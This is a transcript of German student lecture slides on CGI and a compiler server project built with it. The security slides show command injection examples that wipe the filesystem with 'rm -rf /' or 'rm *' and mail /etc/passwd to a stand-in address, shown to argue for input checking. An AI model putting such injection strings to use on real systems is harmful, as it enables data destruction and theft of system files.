Projektvortrag von Andrzej Aftyka, Abdi Leili, Elsa Mahari

Transkript

1 Projektvortrag von Andrzej Aftyka, Abdi Leili, Elsa Mahari Herzlich Willkommen [Lehrveranstaltung Systemprogrammierung SS008 bei Herr Prof. Weber] Projektthema: Programmiersprachen-Server mit CGI

2 Inhaltsverzeichnis 1. Projektbeschreibung 2. Was ist CGI? 3. CGI-Allgemein 4. CGI-Funktionsweise Beispiele zur Funktionsweise 5. Sicherheit

3 Inhaltsverzeichnis 6. CGI-Projekt 7. Sicherheit 8. Demo 9. Alternativen zu CGI 10. Quellen, Tipps und Info's

4 1. Projektbeschreibung Implementieren eines Compilers auf einem Server Der Compiler soll verschiedene Sprachen erkennen Die Übergabe des Quellcodes soll möglich sein Per Upload einer Datei Per Eingabe von Quellcode direkt in ein Eingabefeld

5 2. Was ist CGI? Comman Gateway Interface Es ist ein Satz von Regeln für die Kommunikation zwichen einem Web-Server und externen Programmen.

6 2. Was ist CGI? Übertragung mittels HTTP Protokoll Ermöglicht externe Programme aus Dokument heraus zu straten HTML Dient als Gateway für z.b. Datenbank

7 3. CGI-Allgemein Bis Anfang der 90er Jahre waren dynamische Inhalte im Internet nur durch umschreiben der Serversoftware möglich 1992 wurde CGI für den NCSA-HTTPD eingeführt. Entwickelte sich zum Standard, um dynamische Inhalt für WWW zur erzeugen.

8 3. CGI-Allgemein Im April 1994 wurde dem CERN-Server mit der Version 2.15 eine CGI-Unterstützung hinzugefügt. Weil CGI so einfach ist und der Quellcode für NCSA HTTPD kostenlos war, unterstützt fast jeder nach NCSA HTTPD entwickelte WebServer CGI. Somit entwickelte es sich allmählich zum Standard

9 3. CGI-Allgemein 1995 erfolgt Verabschiedung des CGI/1.1 Standards Heute unterstützt alle gebräuchlichen Web- Server sowohl unter Windows als auch unter Unix CGI. Derzeit läuft die Standardisierung von CGI/1.2

10 4. CGI-Funktionsweise 4.1 Beispiel zur Funktionsweise von CGI-Skripts: Interaktion des Benutzers durch Formulare

11 4. CGI-Funktionsweise CGI ist eine extrem einfache Schnittstelle. CGI legt bestimmte Konventionen fest, die es Web-Servern und externen Programmen erlauben, zu Kommunizieren. CGI-Programme werden meist in einem speziellen Ordner auf dem Server abgelegt(z.b. cgi-bin ).

12 4.1 Beispiele zur Funktionsweise von CGI-Skripts: dynamische Webseiten, die aus einer Datenbank erzeugt werden

13 4.2 Bei statischen Dokument(HTML)

14 4.3 Bei CGI-Programm

15 4.3 Bei CGI-Programm Der Browser sendet CGI-Programmaufruf an den Server Dies kann ohne oder mit Parameterübergabe erfolgen Der Server ruft dann nicht nur das Programm auf, sondern stellt auch eine Reihe von Daten bereit.

16 4.3 Bei CGI-Programm Die zusätzlichen Daten werden Umgebungvariablen abgelegt. Werden von einem installierten Web-Server auf Betriebsystemebene zur Verfügung gestellt. Einige dieser Variablen werden bei einem CGI- Programmaufruf mit Werten gefüllt. Eine CGI-Programm kann diese Variablen nutzen.

17 4.3 Bei CGI-Programm Wenn der Web-Server erkann, dass es sich bei der angeforderten Resource um ein CGI-Programm handelt, führt er dieses aus und gibt sein Ausgabe an den Client zurück. Wenn ein CGI-Programm angefordert wird, muss der Web-Server die folgenden Dinge überprüfen.

18 4.3 Bei CGI-Programm Findet er die angeforderte Programmdatei? Weiß er, dass es sich bei der angeforderten Datei um ein CGI-Programm handelt? Darf das Programm ausgeführt werden? Wurde das Programm fehlerfrei ausgeführt? War die Programmausgabe eine gültige Antwort auf eine Web-Anfrage.

19 5. Sicherheit CGI-Anwendungen laufen meist mit denselben Rechten wie der Web-Server (Kind-Prozesse). Benutzereingaben können das Programmverhalten beeinflussen Daher: Großes Schadenspotential Strenge Kontrolle der Berechtigungen von CGI-Anwendungen erforderlich

20 5. Sicherheit

21 5. Sicherheit Beispiel für Risiken bei Usereingaben : CGI-Skript 'Suchfunktion' Normale/gewollte Usereingabe: system "suche $user" ; Nicht 'nette' Usereingabe: system "suche abdi; rm -rf /" ; ODER system "suche abdi; mail boese@abdi.de </etc/passwd" ;

22 5. Sicherheit Nicht 'nette' Usereingabe: system "suche abdi; rm -rf /" ; $/usr/local/suche/ rm -rf / system "suche abdi; mail boese@abdi.de </etc/passwd" ; $/usr/local/suche/ mail boese@abdi.de </etc/passwd" ; Lösung: Überprüfung von Usereingaben

23 5. Sicherheit In den meisten Fällen beruhen die Sicherheitslöcher auf folgende Aspekte: Unsaubere Programmierung Unkenntnis der Sicherheitsprobleme Unbedenklichkeiten Geldgier von Archiv-Betreibern

24 5. Sicherheit Wichtige Fragen die man sich stellen sollte: Werden die Eingabedaten geprüft? Verhindern von böswilligen Usereingaben Wie komplex ist das Programm? Je komplizierter der Aufbau, umso unsicherer Welche Dateizugriffe werden durchgeführt? Bsp.: Schreibzugriff: Datei könnte leicht beschädigt werden

25 6. CGI - Projekt Entwicklung eines Programmiersprachen-Servers mit CGI

26 6.1 Anforderungen Unterstützung von 5 Programmiersprachen Quellcode Eingabe über HTML Formular Upload von größeren Quellcode Files Download Möglichkeit von erzeugten Binaries

27 6.2 Verwendete Tools BOA Webserver - klein und leicht konfigurierbar GCC - C Compiler G++ - C++ Compiler Javac - Java Compiler MCS - C# Compiler (Mono CSharp) GFortran - Fortran Compiler

28 6.3 CGI - Projekt Es wurde zwei CGI Anwendungen entwickelt: Für den Upload von fertigen Quellcodedateien (Upload Server) Für die Eingabe von Quellcode über das HTML Formular (Code-Eingabe Server)

29 6.4 Upload Server Realisiert mit Hilfe der cgic2 Bibliothek Ist eine Bibliothek die Upload-Funktionen zur Verfügung stellt Ein sehr komfortabler Server, weil alle Vorgänge automatisiert ablaufen

30 6.4 Upload Server Funktionsweise: 1.Empfange vom Upload Feld im Html Formular, Dateinamen und Dateilänge 2.Prüfe Dateilänge 3.Prüfe Dateiendung um eine Sprache zuzuordnen 4.Empfange Dateiinhalt 5.Quelltextdatei speichern 6.Erzeuge Compiler Kommando & starte den Compiler 7.Binary zum Download anbieten

31 6.5 Code-Eingabe Server Es wurde auf CGI Bibliotheken verzichtet Sprachauswahl erfolgt über eine Listbox

32 6.5 Code-Eingabe Server Funktionsweise Teil 1: 1.Sprache auswählen, den Quellcode sowie einen Dateinamen eingeben 2.Per Post Methode wird der kodierte HTML Inhalt an dieses CGI Programm gesendet 3.Empfangene Daten aus der stdin lesen 4.Die Kodierte Zeichenkette wird entschlüsselt und die Formelement Inhalte in Variablen gespeichert

33 6.5 Code-Eingabe Server Funktionsweise Teil 2: 5.Prüfung auf Illegale Inhalte um Command Injection zu vermeiden 6.Quelltextdatei mit entsprechender Endung abspeichern 7.Erzeuge Compiler Kommando & starte den Compiler 8.Kopiere die erzeugte Binary in den Download Ordner und biete sie auf der Webseite zum Download an

34 6.5 Code-Eingabe Server Kodierung Teil 1: Formulardaten kommen kodiert an und müssen deshalb erst decodiert werden Beispiel: sprache=cpp&datname=hello&codearea=int+main %28%29+%7B%0D%0Along+a%3B%0D%0Aa %3D1%3B %0D%0Areturn+0%3B%0D%0A%7D %0D%0A%0D%0A&send

35 6.5 Code-Eingabe Server Kodierung Teil 2: Codierung: & trennt die einzelnen Formularelemente = trennt Elementnamen und deren Inhalte + stellt ein Leerzeichen dar %22 Hexadezimalwert der in ASCII konvertiert werden muss

36 7 Sicherheit Command Injection: Um einen Compiler zu starten, werden Systembefehle ausgeführt, deswegen besteht ein erhebliches Sicherheitsrisiko Denn wenn Eingaben aus dem HTML Formular nicht geprüft werden, kann ein Angreifer Kommandos auf dem System ausführen

37 Sicherheit Beispiel: Es würde dann folgendes Systemkommando ausgeführt werden: gcc -o hello hello.c rm * Deshalb wird geprüft, ob der Textbox Eintrag illegale Zeichen enthält.

38 7.1 Status Codes Es konnte leider bei der Entwicklung kein Debugger benutzt werden. Bei einem Fehlerfall werden vom Browser nur Fehlercodes angezeigt: 4XX 5XX Klienten Fehler Server - Fehler

39 8 CGI - Projekt Online Demo

40 9 Alternativen zu CGI Größter Nachteil bei CGI Für jeden CGI-Aufruf einen neuen Prozess FastCGI Ausführendes Programm wird einmal geladen Enthält eine Zentrale Schleife use FCGI; $var = 'foo'; while (FCGI::accept () >= 0) {... irgendein http-request wird abgearbeitet... }

41 9 Alternativen zu CGI FastCGI Kommunikation mit dem Webserver ist verbindungslos Hat sich nicht wirklich durchgesetzt

42 9 Alternativen zu CGI ASP PHP Cold Fusion Java Servlets

43 10 Quellen, Tipps und Info's Internet: HTML Formulare: cgic Bibliothek: cgic2 Bibliothek für Upload Unterstützung:

44 10 Quellen, Tipps und Info's Bücher: Titel: CGI - kurz & gut Titel: Jetzt lerne ich CGI-Programmierung Titel: CGI-Programmierung im World Wide Web INFO: diese Bücher sind in der FH-Bibliothek erhältlich Skript: Web-basierte Anwendung Hr. Prof. Dr. Werntges

45 DANKE :)